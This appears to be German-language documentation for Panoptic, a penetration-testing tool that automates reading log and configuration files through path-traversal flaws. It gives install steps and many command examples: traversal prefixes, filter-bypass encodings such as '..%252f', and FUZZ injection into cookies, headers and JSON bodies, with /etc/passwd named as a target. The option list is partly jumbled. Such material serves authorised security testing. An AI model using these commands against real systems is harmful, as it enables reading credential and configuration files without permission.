
Panoptic ist ein Open-Source-Tool für Penetrationstests, das die Suche und den Abruf von Inhalten gängiger Log- und Konfigurationsdateien über Path-Traversal-Schwachstellen automatisiert.

Panoptic ist ein Open-Source-Penetrationstesting-Tool, das die Suche und das Abrufen gängiger Log- und Konfigurationsdateien über Path-Traversal-Schwachstellen automatisiert.

--concurrency)FUZZ
in einem beliebigen --header- oder --data-Wert--base64)/etc/passwd für Dateien im Home-Verzeichnis,
mysql-bin.index für Binlog-Dateien--output-format)--resume-file)--config)0600-Berechtigungen auf
POSIX und Schutz vor Symlinks in der letzten Pfadkomponente, wo das Betriebssystem dies unterstützt--update)Installiere Panoptic mit pipx. Es legt den Befehl panoptic
in deinem PATH ab und hält die Abhängigkeiten von Panoptic vom System-Python
getrennt.
Unter Kali, Debian oder Ubuntu:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
Auf macOS mit Homebrew:
brew install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
Unter Windows, mit installiertem Python und Git:
py -m pip install --user pipx
py -m pipx ensurepath
py -m pipx install git+https://github.com/lightos/Panoptic.git
Dann öffnen Sie ein neues Terminal und prüfen Sie, ob es funktioniert:
panoptic --version
Aktualisieren mit pipx upgrade panoptic. Führen Sie nicht pip install panoptic aus: Dieser
PyPI-Name gehört zu einem unabhängigen Projekt.
Wenn Ihr System-Python älter als 3.11 ist (zum Beispiel auf Ubuntu 22.04), verwenden Sie stattdessen uv. Es lädt selbstständig eine passende Python-Version herunter:
curl -LsSf https://astral.sh/uv/install.sh | sh
source "$HOME/.local/bin/env"
uv tool install git+https://github.com/lightos/Panoptic.git
Öffne dann ein neues Terminal und führe panoptic --version aus. Aktualisiere mit
uv tool upgrade panoptic.
Um Panoptic aus einem Klon auszuführen, zum Beispiel um daran zu arbeiten, installiere es in einer
virtuellen Umgebung innerhalb des Checkouts. Unter Debian und Ubuntu ist dafür zunächst
sudo apt install python3-venv erforderlich.
git clone https://github.com/lightos/Panoptic.git
cd Panoptic
python3 -m venv .venv
.venv/bin/python -m pip install -e ".[dev]"
.venv/bin/panoptic --version
Führe es als .venv/bin/panoptic aus, oder führe source .venv/bin/activate in jedem
neuen Terminal aus, um panoptic und python panoptic.py direkt zu verwenden. Unter Windows
verwende stattdessen .venv\Scripts\python und .venv\Scripts\panoptic. Die
editierbare Installation hält Panoptic mit dem Checkout verbunden, sodass
panoptic --update es direkt aktualisieren kann.
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt&id=1" \
--param file
panoptic --url "http://target/include.php" \
--data "file=test.txt&id=1" --param file
Der Dateipfad ersetzt das letzte Segment des URL-Pfads. Traversal-Sequenzen wie ../ werden exakt so gesendet, wie sie geschrieben sind. Panoptic normalisiert sie nicht weg, obwohl der Zielserver dies möglicherweise tut.
panoptic --url "http://target/view.php/test.txt" --path-based
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "../" --multiplier 6
panoptic --url "http://target/load.php?file=dGVzdC50eHQ=" \
--base64 --auto
panoptic --url "http://target/page.php" \
--header "Cookie: lang=FUZZ" --auto
panoptic --url "http://target/api/load" \
--data '{"file":"FUZZ"}' --auto
panoptic --url "http://target/page.php" \
--header "X-Template: FUZZ" --auto
panoptic --url "http://target/view.php?file=test&type=txt" \
--param file --ext-param type
panoptic --url "http://target/filtered.php?file=test.txt" \
--prefix "....//....//....//....//"
Präfixe werden exakt so gesendet, wie sie angegeben sind, sodass kodierte Traversierungssequenzen das Ziel unverändert erreichen. Beispielsweise sind in ..%252f die Punkte literal und nur der Schrägstrich ist doppelt kodiert: Der erste Decode wandelt %252f in %2f um, sodass ein Filter, der einmal dekodiert, kein ../ sieht, und ein zweiter Decode durch die Anwendung wandelt es in / um:
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "..%252f" --multiplier 6
Ein einfach kodiertes Präfix wie %2e%2e%2f wird nach einem
Dekodierungsschritt zu ../. Es hilft nur gegen Filter, die die rohe, nicht dekodierte
Anfrage inspizieren:
panoptic --url "http://target/include.php?file=test.txt" \
--prefix "%2e%2e%2f" --multiplier 6